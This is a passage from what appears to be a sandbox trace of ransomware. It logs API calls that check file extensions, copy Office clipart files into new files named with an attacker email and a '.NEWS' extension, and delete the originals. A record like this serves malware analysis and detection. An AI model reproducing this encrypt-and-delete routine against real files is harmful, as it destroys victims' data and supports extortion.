(lpString=".jpg") returned 4 [0089.487] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0089.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0089.487] lstrlenW (lpString=".doc") returned 4 [0089.488] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.488] lstrlenW (lpString=".docx") returned 5 [0089.488] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.488] lstrlenW (lpString=".pdf") returned 4 [0089.488] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.488] lstrlenW (lpString=".xls") returned 4 [0089.488] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.488] lstrlenW (lpString=".xlsx") returned 5 [0089.488] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.488] lstrlenW (lpString=".ppt") returned 4 [0089.488] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0089.488] lstrlenW (lpString=".zip") returned 4 [0089.488] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.488] lstrlenW (lpString=".rar") returned 4 [0089.488] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.488] lstrlenW (lpString=".bz2") returned 4 [0089.488] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.488] lstrlenW (lpString=".7z") returned 3 [0089.488] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0089.488] lstrlenW (lpString=".dbf") returned 4 [0089.488] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0089.488] lstrlenW (lpString=".1cd") returned 4 [0089.488] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0089.488] lstrlenW (lpString=".jpg") returned 4 [0089.488] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.488] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.488] lstrlenW (lpString="HH01923_.WMF") returned 12 [0089.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0089.489] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=26706) returned 1 [0089.489] CloseHandle (hObject=0x39c) returned 1 [0089.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x220 [0089.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0089.489] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.489] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0089.490] GetLastError () returned 0x0 [0089.490] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x6852, lpOverlapped=0x0) returned 1 [0089.491] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x6860, lpOverlapped=0x0) returned 1 [0089.493] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.493] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0089.493] SetEndOfFile (hFile=0x370) returned 1 [0089.493] CloseHandle (hObject=0x370) returned 1 [0089.493] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.493] SetEndOfFile (hFile=0x39c) returned 1 [0089.494] CloseHandle (hObject=0x39c) returned 1 [0089.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.494] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 1 [0089.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0089.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0089.495] lstrlenW (lpString=".doc") returned 4 [0089.495] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.495] lstrlenW (lpString=".docx") returned 5 [0089.495] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.495] lstrlenW (lpString=".pdf") returned 4 [0089.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.495] lstrlenW (lpString=".xls") returned 4 [0089.495] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.495] lstrlenW (lpString=".xlsx") returned 5 [0089.495] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.495] lstrlenW (lpString=".ppt") returned 4 [0089.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0089.495] lstrlenW (lpString=".zip") returned 4 [0089.495] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.495] lstrlenW (lpString=".rar") returned 4 [0089.495] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.495] lstrlenW (lpString=".bz2") returned 4 [0089.495] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.495] lstrlenW (lpString=".7z") returned 3 [0089.495] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0089.495] lstrlenW (lpString=".dbf") returned 4 [0089.495] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0089.495] lstrlenW (lpString=".1cd") returned 4 [0089.495] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0089.495] lstrlenW (lpString=".jpg") returned 4 [0089.495] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0089.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0089.495] lstrlenW (lpString=".doc") returned 4 [0089.495] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.495] lstrlenW (lpString=".docx") returned 5 [0089.495] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.495] lstrlenW (lpString=".pdf") returned 4 [0089.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.495] lstrlenW (lpString=".xls") returned 4 [0089.496] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.496] lstrlenW (lpString=".xlsx") returned 5 [0089.496] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.496] lstrlenW (lpString=".ppt") returned 4 [0089.496] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0089.496] lstrlenW (lpString=".zip") returned 4 [0089.496] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.496] lstrlenW (lpString=".rar") returned 4 [0089.496] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.496] lstrlenW (lpString=".bz2") returned 4 [0089.496] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.496] lstrlenW (lpString=".7z") returned 3 [0089.496] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0089.496] lstrlenW (lpString=".dbf") returned 4 [0089.496] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0089.496] lstrlenW (lpString=".1cd") returned 4 [0089.496] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0089.496] lstrlenW (lpString=".jpg") returned 4 [0089.496] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.496] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.496] lstrlenW (lpString="HH02155_.WMF") returned 12 [0089.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0089.497] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=2704) returned 1 [0089.497] CloseHandle (hObject=0x39c) returned 1 [0089.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 0x220 [0089.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0089.497] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.497] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0089.497] GetLastError () returned 0x0 [0089.497] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0xa90, lpOverlapped=0x0) returned 1 [0089.499] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xaa0, lpOverlapped=0x0) returned 1 [0089.500] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.500] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0089.500] SetEndOfFile (hFile=0x370) returned 1 [0089.500] CloseHandle (hObject=0x370) returned 1 [0089.500] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.500] SetEndOfFile (hFile=0x39c) returned 1 [0089.501] CloseHandle (hObject=0x39c) returned 1 [0089.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.501] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 1 [0089.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0089.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0089.501] lstrlenW (lpString=".doc") returned 4 [0089.501] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.501] lstrlenW (lpString=".docx") returned 5 [0089.501] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.501] lstrlenW (lpString=".pdf") returned 4 [0089.502] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.502] lstrlenW (lpString=".xls") returned 4 [0089.502] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.502] lstrlenW (lpString=".xlsx") returned 5 [0089.502] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.502] lstrlenW (lpString=".ppt") returned 4 [0089.502] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0089.502] lstrlenW (lpString=".zip") returned 4 [0089.502] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.502] lstrlenW (lpString=".rar") returned 4 [0089.502] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.502] lstrlenW (lpString=".bz2") returned 4 [0089.502] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.502] lstrlenW (lpString=".7z") returned 3 [0089.502] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0089.502] lstrlenW (lpString=".dbf") returned 4 [0089.502] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0089.502] lstrlenW (lpString=".1cd") returned 4 [0089.502] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0089.502] lstrlenW (lpString=".jpg") returned 4 [0089.502] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0089.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0089.502] lstrlenW (lpString=".doc") returned 4 [0089.502] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.502] lstrlenW (lpString=".docx") returned 5 [0089.502] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.502] lstrlenW (lpString=".pdf") returned 4 [0089.502] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.502] lstrlenW (lpString=".xls") returned 4 [0089.502] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.502] lstrlenW (lpString=".xlsx") returned 5 [0089.502] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.502] lstrlenW (lpString=".ppt") returned 4 [0089.502] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0089.503] lstrlenW (lpString=".zip") returned 4 [0089.503] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.503] lstrlenW (lpString=".rar") returned 4 [0089.503] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.503] lstrlenW (lpString=".bz2") returned 4 [0089.503] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.503] lstrlenW (lpString=".7z") returned 3 [0089.503] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0089.503] lstrlenW (lpString=".dbf") returned 4 [0089.503] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0089.503] lstrlenW (lpString=".1cd") returned 4 [0089.503] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0089.503] lstrlenW (lpString=".jpg") returned 4 [0089.503] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.503] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.503] lstrlenW (lpString="HH02166_.WMF") returned 12 [0089.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0089.504] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=1324) returned 1 [0089.504] CloseHandle (hObject=0x39c) returned 1 [0089.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x220 [0089.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0089.504] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.504] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0089.505] GetLastError () returned 0x0 [0089.505] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x52c, lpOverlapped=0x0) returned 1 [0089.506] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x530, lpOverlapped=0x0) returned 1 [0089.507] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.507] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0089.507] SetEndOfFile (hFile=0x370) returned 1 [0089.508] CloseHandle (hObject=0x370) returned 1 [0089.508] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.508] SetEndOfFile (hFile=0x39c) returned 1 [0089.508] CloseHandle (hObject=0x39c) returned 1 [0089.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.509] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 1 [0089.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0089.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0089.509] lstrlenW (lpString=".doc") returned 4 [0089.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.509] lstrlenW (lpString=".docx") returned 5 [0089.509] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.509] lstrlenW (lpString=".pdf") returned 4 [0089.509] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.509] lstrlenW (lpString=".xls") returned 4 [0089.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.509] lstrlenW (lpString=".xlsx") returned 5 [0089.509] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.509] lstrlenW (lpString=".ppt") returned 4 [0089.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0089.509] lstrlenW (lpString=".zip") returned 4 [0089.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.509] lstrlenW (lpString=".rar") returned 4 [0089.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.509] lstrlenW (lpString=".bz2") returned 4 [0089.509] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.510] lstrlenW (lpString=".7z") returned 3 [0089.510] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0089.510] lstrlenW (lpString=".dbf") returned 4 [0089.510] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0089.510] lstrlenW (lpString=".1cd") returned 4 [0089.510] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0089.510] lstrlenW (lpString=".jpg") returned 4 [0089.510] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0089.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0089.510] lstrlenW (lpString=".doc") returned 4 [0089.510] lstrcmpiW 